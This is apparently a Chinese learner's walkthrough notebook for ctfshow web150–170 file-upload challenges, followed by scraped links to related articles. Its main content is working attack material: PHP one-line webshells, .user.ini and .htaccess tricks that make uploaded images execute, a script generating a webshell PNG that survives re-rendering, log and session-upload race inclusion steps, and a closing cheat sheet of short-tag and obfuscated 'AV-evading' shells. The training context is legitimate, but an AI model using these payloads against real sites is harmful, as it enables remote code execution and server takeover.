ctfshow_web入门 文件上传
文件上传
还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦
还请各位师傅担待~
如果有不正确的地方,请师傅们斧正谢谢师傅们
web150
火狐关闭js的插件一旦开启,就没法点击上传按钮了。
而且这里没法上传.php .jpg
等后缀文件,只能选择png
格式图片。所以只能以够抓包然后修改内容的方式上传图片马。
同时,一旦图片格式满足,就自动上传了。
打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>
,修改图片后缀为.php
上传
访问对应网页即可
web151
同web150
web152
首先尝试上传php
后缀文件,发现不行。所以上传.user.ini
配置文件,因为是nginx
系统,所以配置文件是.user.ini
,.htaccess和.user.ini配置文件妙用
同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini
,内容添加auto_prepend_file=meima.png
。再上传一个名为meima.png
的图片马即可
最后访问/url/upload/index.php
,用cmd=system('tac /var/www/html/f*');
输入命令获取flag就好
web 154
同样,先上传.user.ini
,内容auto_prepend_file=meima.png
,接着上传名为meima.png
的图片马。
就可以利用上一关的repeater中的数据包,将host给修改一下就可以。
.user.ini
auto_prepend_file=meima.png
同时,图片马:
meima.png
<?= eval($_POST['cmd']);?>
同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改
web 155
嫖web154,操作完全一致
web 156
为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。
整一个短一点的马儿或者是将抓到的包的信息给改少一点。
过滤了[],用{}
进行绕过
因为之前上传过一次
<? `tac /var/www/html/f*`;?> 也可能是没有加echo,这个有点不太清楚
但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容
最后可以直接用蚁剑写入文件,
所以说,在``之前是需要加上echo 的;
``相当于是shell_exec()函数
同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉
web 157
额,看样子貌似是过滤了;
,可以上传拿到flag
<? echo `tac /var/www/html/f*`?>
PHP最后一句可以不用加;
,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的
web 158
用157的方法,直接拿下
web 159
貌似过滤了system
或者()
用157的方法,直接拿下
web 160
这个题过滤了空格 ()
额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式
一共要准备四个包;
一个上传.user.ini
文件上传包,一个1.png
文件上传包;一个url/upload/index.php
反复请求包,一个session
反复上传包;
接着条件竞争,
一个burp一直请求/url/upload/index.php
另一边,一直上传文件
访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行
拿到flag
Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。
web 161
有文件头的一个判断,选择GIF89a
的文件头,比较方便记忆与绕过
顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)
在文件头前面加上GIF89a
,然后就可以白嫖web160的方法了
方法二:日志包含
在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码
在配置文件.user.ini
中,将auto_prepend_file设置为:1.png
接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行
突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行
web 162
过滤了.
,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少
web 163
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
所以所以这里就卡了很久,但是依旧没有上传请求成功
web 164(png图片二次渲染)
这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。
所以我这里也就直接照搬做出来的大佬的笔记了
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php
就可以得到flag
web 165
jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了
web 166
上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce
由于下载时是GET方式,所以之类马儿里也用的get方式
这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)
web 167
看到httpd,想到是不是Apache。于是F12通过network查看,
上传.htaccess
,这题需要上传jpg格式的马儿,同时写入
AddType application/x-httpd-php .jpg
?为什么我开的题目环境一直出问题???
不过按理来说,访问/url/upload/1.jpg即可;
原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误
大佬的wp
web 168
可以直接上传.php
文件
查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出
看了羽师傅博客,又l了解到了很多:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web 169
直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含
同时,上传时,需要burp抓包上传,上传zip
文件,并且将file_content修改为image/png
才能成功上传
在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>
上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log
上传一个1.php文件,内容随便写123
,因为url/upload/
目录下没有文件,所以需要写一个文件来承接.user.ini
接着就可以访问/url/upload/1.php
,然后rce
也可以用蚁剑连接,方便找flag。
web 170
同上
解题
上传配置文件,然后传马
马儿内容
短标签马儿:
一般的马儿:
<?php eval($_POST['cmd']);?>
没有PHP的马儿
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
有PHP的马儿
<script language="php"></script>
特殊马儿:
过滤[]:用{}代替
<?= eval($_POST['cmd']);?>
直接拿flag的变形马儿
<? echo `tac /var/www/html/f*`;?>
<? echo `tac /var/www/html/f*`?>
免杀马儿:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
上传配置文件,上传sessionid的马儿
.user.ini
文件中写入auto_prepend_file=1.png
1.png
中写入<?include"/tmp/sess_test"?>
,此处sess_test中的test是PHPSESSIDd的值
uplaod_session.php
<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此处代码,抓包后在cookie位置添加:PHPSESSID=test
格式
GIF89a
注意:
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
谢谢师傅们观看~
ctfshow_web入门 文件上传的更多相关文章
- JSP入门 文件上传
commons-fileupload public void save(HttpServletRequest request,HttpServletResponse response) throws ...
- Spring Boot入门——文件上传与下载
1.在pom.xml文件中添加依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="ht ...
- Flask入门文件上传flask-uploads(八)
1 视图传递多个参数 (1) 普通传参 : 关键字参数传递 return render_template('模板名称.html',arg1=val1,arg2=val2...) (2) 字典传参 : ...
- SpringBoot 文件上传、下载、设置大小
本文使用SpringBoot的版本为2.0.3.RELEASE 1.上传单个文件 ①html对应的提交表单 <form action="uploadFile" method= ...
- springboot文件上传下载,转载的
Spring Boot入门——文件上传与下载 原文来自:https://www.cnblogs.com/studyDetail/articles/7003253.html 1.在pom.xml文件中添 ...
- [转]ExtJs入门之filefield:文件上传的配置+结合Ajax完美实现文件上传的asp.net示例
原文地址:http://www.stepday.com/topic/?459 作文一个ExtJs的入门汉子,学习起来的确是比较费劲的事情,不过如今在这样一个网络资源如此丰富的时代,依然不是那么难了的. ...
- 文件上传利器SWFUpload入门简易教程
凡做过网站开发的都应该知道表单file的确鸡肋. Ajax解决了不刷新页面提交表单,但是却没有解决文件上传不刷新页面,当然也有其它技术让不刷新页面而提交文件,该技术主要是利用隐藏的iFrame, 较A ...
- Web---演示Servlet的相关类、表单多参数接收、文件上传简单入门
说明: Servlet的其他相关类: ServletConfig – 代表Servlet的初始化配置参数. ServletContext – 代表整个Web项目. ServletRequest – 代 ...
- SpringBoot入门一:基础知识(环境搭建、注解说明、创建对象方法、注入方式、集成jsp/Thymeleaf、logback日志、全局热部署、文件上传/下载、拦截器、自动配置原理等)
SpringBoot设计目的是用来简化Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置.通过这种方式,SpringBoot致力于在蓬勃发 ...
- Struts2入门(七)——Struts2的文件上传和下载
一.前言 在之前的随笔之中,我们已经了解Java通过上传组件来实现上传和下载,这次我们来了解Struts2的上传和下载. 注意:文件上传时,我们需要将表单提交方式设置为"POST" ...
随机推荐
- MySQL数据库:6、约束的概述及语法
Python基础之MySQL数据库 目录 Python基础之MySQL数据库 一.约束概述 1.为什么要约束 2.什么是约束 3.约束的分类 4.查看当前表已有的约束 二.约束语法及用法 1.无符号 ...
- mongorestore target dump invalid CreateFile dump The system cannot find
问题 使用 mongorestore 指定 dump 文件夹,恢复数据报错. mongorestore target 'dump' invalid: CreateFile dump: The syst ...
- 修改Listen 1源码的一点心得
注:本文只作为技术交流 首先感谢听1的作者写出这么强大的音乐播放器!! 软件首页地址:点击打开链接 软件的github上上上地址:点击打开链接 软件唯一让我美中不足的就是不能下载,这可能是作者考虑到了 ...
- 【每日一题】【哈希表,返回结果的下标】2022年1月18日-NC61 两数之和
描述给出一个整型数组 numbers 和一个目标值 target,请在数组中找出两个加起来等于目标值的数的下标,返回的下标按升序排列.(注:返回的数组下标从1开始算起) 算法: import java ...
- layui table 表头抖动
原本table超出页面宽度(即table有横向滚动条)的情况下,缩放页面然后再设置定时器定时更新表单,会发现数据不变的时候table头部会左右抖动 而且th td比设置的minWidth 或者cell ...
- mooc上的简单题,(疑惑已解决)
如题,在简单不过的题,在自己编译器上试了很多例子,输出结果都对.但是oj不给过:(已解决) 统计指定单词出现的次数(10分) 题目内容:输入6个单词,查找第6个单词在前5个单词中出现的次数. 输入:6 ...
- 回溯法求解n皇后问题(复习)
回溯法 回溯法是最常用的解题方法,有"通用的解题法"之称.当要解决的问题有若干可行解时,则可以在包含问题所有解的空间树中,按深度优先的策略,从根节点出发搜索解空间树.算法搜索至解空 ...
- .NET周报【12月第2期 2022-12-15】
国内文章 九哥聊Kestrel网络编程第一章:开发一个Redis服务器 https://mp.weixin.qq.com/s/HJYnBE-7wbvkAYHxQaq3eQ 我和拥有多个.NET 千星开 ...
- 正则提取器和beanshell处理器组合,将提取的所有id拼接成字符串
1.添加正则表达式,提取所有id值 2.添加beanshell处理器将所有的id值拼接成字符串 方法一: int N = Integer.parseInt(vars.get("build_m ...
- Redis的数据复制
介绍 Redis 的复制 Redis 的复制功能分为同步(sync)和命令传播(command propagate)这两个操作 同步操作用于,将从服务器的数据库状态更新至主服务器当前所处的数据库状态: ...